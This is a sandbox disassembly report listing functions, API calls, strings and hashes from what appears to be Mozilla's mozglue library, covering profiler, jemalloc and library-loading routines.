API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: c2dd4d394d0503397b33b0256ab2a251eb1fc16db5c257b6028f4d6507e3b170
Instruction ID: b0acefb4ea323cea6803f1e5b11b8df142e957ee205e52636b8b13f98680ce9c
Opcode Fuzzy Hash: c2dd4d394d0503397b33b0256ab2a251eb1fc16db5c257b6028f4d6507e3b170
Instruction Fuzzy Hash: C981D071A001108BDF10DF28D88479A37B9EF4631CF140629E9569BB81F73BE854CFA6

Function 6C324470 Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C324730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C3244B2,6C39E21C,6C39F7F8), ref: 6C32473E
Part of subcall function 6C324730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C32474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C3244BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C3244D2
InitOnceExecuteOnce.KERNEL32(6C39F80C,6C31F240,?,?), ref: 6C32451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C32455C
LoadLibraryW.KERNEL32(?), ref: 6C324592
InitializeCriticalSection.KERNEL32(6C39F770), ref: 6C3245A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C3245AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C3245BB
InitOnceExecuteOnce.KERNEL32(6C39F818,6C31F240,?,?), ref: 6C324612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C324636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C324644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C32466D
VerSetConditionMask.NTDLL ref: 6C32469F
VerSetConditionMask.NTDLL ref: 6C3246AB
VerSetConditionMask.NTDLL ref: 6C3246B2
VerSetConditionMask.NTDLL ref: 6C3246B9
VerSetConditionMask.NTDLL ref: 6C3246C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C3246CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C3246F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C3246FD

Strings

l, xrefs: 6C324578
$me/, xrefs: 6C32447C
NativeNtBlockSet_Write, xrefs: 6C3246F7
kernel32.dll, xrefs: 6C3244CD
user32.dll, xrefs: 6C324557, 6C32463F
G9l, xrefs: 6C3244FC
WRusr.dll, xrefs: 6C3244B5

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: $me/$G9l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3225768716
Opcode ID: 4ca5e070a7898544b1fc128e13f372c31f159345e295cf35469cbfc32708b032
Instruction ID: 63ea1677771bace2d03a232fa0c034863835c3a8a469ff91cefaf3123f3f50d1
Opcode Fuzzy Hash: 4ca5e070a7898544b1fc128e13f372c31f159345e295cf35469cbfc32708b032
Instruction Fuzzy Hash: 326114B0A04344AFEF109F61DC09BA57BBCEB4A70CF148558F5449B641F7BA8945CFA1

Function 6C35F6E0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C35F8F9

Part of subcall function 6C326390: GetCurrentThreadId.KERNEL32 ref: 6C3263D0
Part of subcall function 6C326390: AcquireSRWLockExclusive.KERNEL32 ref: 6C3263DF
Part of subcall function 6C326390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C32640E

ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F93A
GetCurrentThreadId.KERNEL32 ref: 6C35F98A
GetCurrentThreadId.KERNEL32 ref: 6C35F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F716

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

Part of subcall function 6C31B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C31B5E0

GetCurrentThreadId.KERNEL32 ref: 6C35F739
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F746
GetCurrentThreadId.KERNEL32 ref: 6C35F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C39385B,00000002,?,?,?,?,?), ref: 6C35F829
free.MOZGLUE(?,?,00000000,?), ref: 6C35F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C35F866
free.MOZGLUE(?), ref: 6C35FA0C

Part of subcall function 6C325E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C325E8C
Part of subcall function 6C325E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325E9D
Part of subcall function 6C325E60: GetCurrentThreadId.KERNEL32 ref: 6C325EAB
Part of subcall function 6C325E60: GetCurrentThreadId.KERNEL32 ref: 6C325EB8
Part of subcall function 6C325E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325ECF
Part of subcall function 6C325E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C325F27
Part of subcall function 6C325E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C325F47
Part of subcall function 6C325E60: GetCurrentProcess.KERNEL32 ref: 6C325F53
Part of subcall function 6C325E60: GetCurrentThread.KERNEL32 ref: 6C325F5C
Part of subcall function 6C325E60: GetCurrentProcess.KERNEL32 ref: 6C325F66
Part of subcall function 6C325E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C325F7E

free.MOZGLUE(?), ref: 6C35F9C5
free.MOZGLUE(?), ref: 6C35F9DA

Strings

$me/, xrefs: 6C35F6F2
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C35F9A6
" attempted to re-register as ", xrefs: 6C35F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C35F71F
Thread , xrefs: 6C35F789

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$$me/$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1501816943
Opcode ID: 82e00ec57a47285d96a6458e1473e85d2dee07bc986232204ffc02795e0adff8
Instruction ID: 3b1efa7868ececccca9693e74c5dbd9c21cc5e17c8b46819b4a8897801a05c7e
Opcode Fuzzy Hash: 82e00ec57a47285d96a6458e1473e85d2dee07bc986232204ffc02795e0adff8
Instruction Fuzzy Hash: 3C8127B1A047409FDB10DF24C840AAEB7B9EF89308F85455DE8899BB51EB31D859CF93

Function 6C35EE40 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35EE60
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EE6D
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C35EEA5
CloseHandle.KERNEL32(?), ref: 6C35EEB4
free.MOZGLUE(00000000), ref: 6C35EEBB
GetCurrentThreadId.KERNEL32 ref: 6C35EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35EECF

Part of subcall function 6C35DE60: GetCurrentThreadId.KERNEL32 ref: 6C35DE73
Part of subcall function 6C35DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C324A68), ref: 6C35DE7B
Part of subcall function 6C35DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C324A68), ref: 6C35DEB8
Part of subcall function 6C35DE60: free.MOZGLUE(00000000,?,6C324A68), ref: 6C35DEFE
Part of subcall function 6C35DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C35DF38

Part of subcall function 6C34CBE8: GetCurrentProcess.KERNEL32(?,6C3131A7), ref: 6C34CBF1
Part of subcall function 6C34CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3131A7), ref: 6C34CBFA

GetCurrentThreadId.KERNEL32 ref: 6C35EF1E
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EF2B
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EF59
GetCurrentThreadId.KERNEL32 ref: 6C35EFB0
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EFBD
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EFE1
GetCurrentThreadId.KERNEL32 ref: 6C35EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F000

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C35F02F

Part of subcall function 6C35F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C35F09B
Part of subcall function 6C35F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C35F0AC
Part of subcall function 6C35F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C35F0BE

Strings

$me/, xrefs: 6C35EF8A
[I %d/%d] profiler_pause, xrefs: 6C35F008
[I %d/%d] profiler_stop, xrefs: 6C35EED7

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: $me/$[I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-3099601689
Opcode ID: 75ae3b51f22d91c15c2bbb04fd2936db5ab6b1e907fb9e6c4cff37f438d1a225
Instruction ID: 20c5fef36097ca4f70937f87a1e724fffffd75f1806163750a11b64ce0b54c95
Opcode Fuzzy Hash: 75ae3b51f22d91c15c2bbb04fd2936db5ab6b1e907fb9e6c4cff37f438d1a225
Instruction Fuzzy Hash: 8151D076A043109FDB109F64E408BA937BCEB4A31DF510519F95A87B40FB3B5824CFA2

Function 6C34D010 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C39E804), ref: 6C34D047
GetSystemInfo.KERNEL32(?), ref: 6C34D093
__Init_thread_footer.LIBCMT ref: 6C34D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C39E810,00000040), ref: 6C34D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7B8,00001388), ref: 6C34D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E744,00001388), ref: 6C34D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E784,00001388), ref: 6C34D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C39E7DC,00001388), ref: 6C34D1B1

Strings

$me/, xrefs: 6C34D019
<jemalloc>, xrefs: 6C34D268, 6C34D311
Compile-time page size does not divide the runtime one., xrefs: 6C34D26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C34D322
MOZ_CRASH(), xrefs: 6C34D277
MALLOC_OPTIONS, xrefs: 6C34D0CB

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: $me/$: (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-2595299003
Opcode ID: 0fc4a796b270665ba140f5309a8e6da842cad8223329f04547087d614fe0beec
Instruction ID: 2784f795c67a70958ffa08d5af0b81bf71cc1e8b2a4d29ae427bc3545493b5d1
Opcode Fuzzy Hash: 0fc4a796b270665ba140f5309a8e6da842cad8223329f04547087d614fe0beec
Instruction Fuzzy Hash: 7281BC70B043109BEB149FA8D854BA937FDFB06709F108529E9419BB80F7769805CFD2

Function 6C327FD0 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C328007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C32801D

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C32802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C32803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C32808D

Part of subcall function 6C32CA10: mozalloc_abort.MOZGLUE(?), ref: 6C32CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C32809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C3280B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C3280DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3280ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3280FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C32810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C328133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C328149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C328167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C32817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C328199

Strings

$me/, xrefs: 6C327FDC
0>5l, xrefs: 6C32811E

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: $me/$0>5l
API String ID: 2721933968-3300648330
Opcode ID: 2989b4a0f1652e595581034f2a46b5648d6a0728199ee5f80a342d0378a9a98c
Instruction ID: 632fa501fa992bd35ee4d747361480727f0e388893340a48830795dde0783f47
Opcode Fuzzy Hash: 2989b4a0f1652e595581034f2a46b5648d6a0728199ee5f80a342d0378a9a98c
Instruction Fuzzy Hash: 3A5184B2E002545BDF00DFA5EC84AEFB7B9AF49224F140125E955E7781E735E904CFA2

Function 6C325E60 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325E9D

Part of subcall function 6C335B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3356EE,?,00000001), ref: 6C335B85
Part of subcall function 6C335B50: EnterCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335B90
Part of subcall function 6C335B50: LeaveCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335BD8
Part of subcall function 6C335B50: GetTickCount64.KERNEL32 ref: 6C335BE4

GetCurrentThreadId.KERNEL32 ref: 6C325EAB
GetCurrentThreadId.KERNEL32 ref: 6C325EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C326017

Part of subcall function 6C314310: moz_xmalloc.MOZGLUE(00000010,?,6C3142D2), ref: 6C31436A
Part of subcall function 6C314310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C3142D2), ref: 6C314387

moz_xmalloc.MOZGLUE(00000004), ref: 6C325F47
GetCurrentProcess.KERNEL32 ref: 6C325F53
GetCurrentThread.KERNEL32 ref: 6C325F5C
GetCurrentProcess.KERNEL32 ref: 6C325F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C325F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C325F27

Part of subcall function 6C32CA10: mozalloc_abort.MOZGLUE(?), ref: 6C32CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C325E8C

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C32605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C3260CC

Strings

$me/, xrefs: 6C325E70
GeckoMain, xrefs: 6C325ECE, 6C326015

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: $me/$GeckoMain
API String ID: 3711609982-1593449980
Opcode ID: f75bc394902b3365351e90b8b92b8a6bf5eba200f760665b65567053d64d6975
Instruction ID: 8e3fb12b3590b3a7b81c7d2e6bddb9c544e04f362c7eca92d5ac54288ccf857c
Opcode Fuzzy Hash: f75bc394902b3365351e90b8b92b8a6bf5eba200f760665b65567053d64d6975
Instruction Fuzzy Hash: 7971D2B0A047409FDB10DF25D480AAABBF4FF49308F14492DE5868BB41E775E948CF92

Function 6C329590 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3131C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C313217
Part of subcall function 6C3131C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C313236
Part of subcall function 6C3131C0: FreeLibrary.KERNEL32 ref: 6C31324B
Part of subcall function 6C3131C0: __Init_thread_footer.LIBCMT ref: 6C313260
Part of subcall function 6C3131C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C31327F
Part of subcall function 6C3131C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C31328E
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3132AB
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3132D1
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C3132E5
Part of subcall function 6C3131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C3132F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C329675
__Init_thread_footer.LIBCMT ref: 6C329697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C3296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C329707
__Init_thread_footer.LIBCMT ref: 6C32971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C3297B7
FreeLibrary.KERNEL32 ref: 6C3297D0
FreeLibrary.KERNEL32 ref: 6C3297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C329824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C329670
$me/, xrefs: 6C32959E, 6C329632
MapViewOfFileNuma2, xrefs: 6C3297B1
ntdll.dll, xrefs: 6C3296E3
NtMapViewOfSection, xrefs: 6C329701

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: $me/$Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3466834982
Opcode ID: 9e488351e625184eeed19354a5432607a841aecf19dc134806d7b62af571f0c9
Instruction ID: 2e71ed0f191dc6f5a963a76b22a13a33a3b7c8fc42476aff6a52804687460dab
Opcode Fuzzy Hash: 9e488351e625184eeed19354a5432607a841aecf19dc134806d7b62af571f0c9
Instruction Fuzzy Hash: 7961D171B003019FDF00DFA9E884B9A7BB9EB4E358F108529F95597780E736A854CFA1

Function 6C36D4D0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C36D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D52A
GetCurrentThreadId.KERNEL32 ref: 6C36D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D55F
free.MOZGLUE(00000000), ref: 6C36D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C36D5D3
GetCurrentThreadId.KERNEL32 ref: 6C36D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C36D652
GetCurrentThreadId.KERNEL32 ref: 6C36D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C36D667
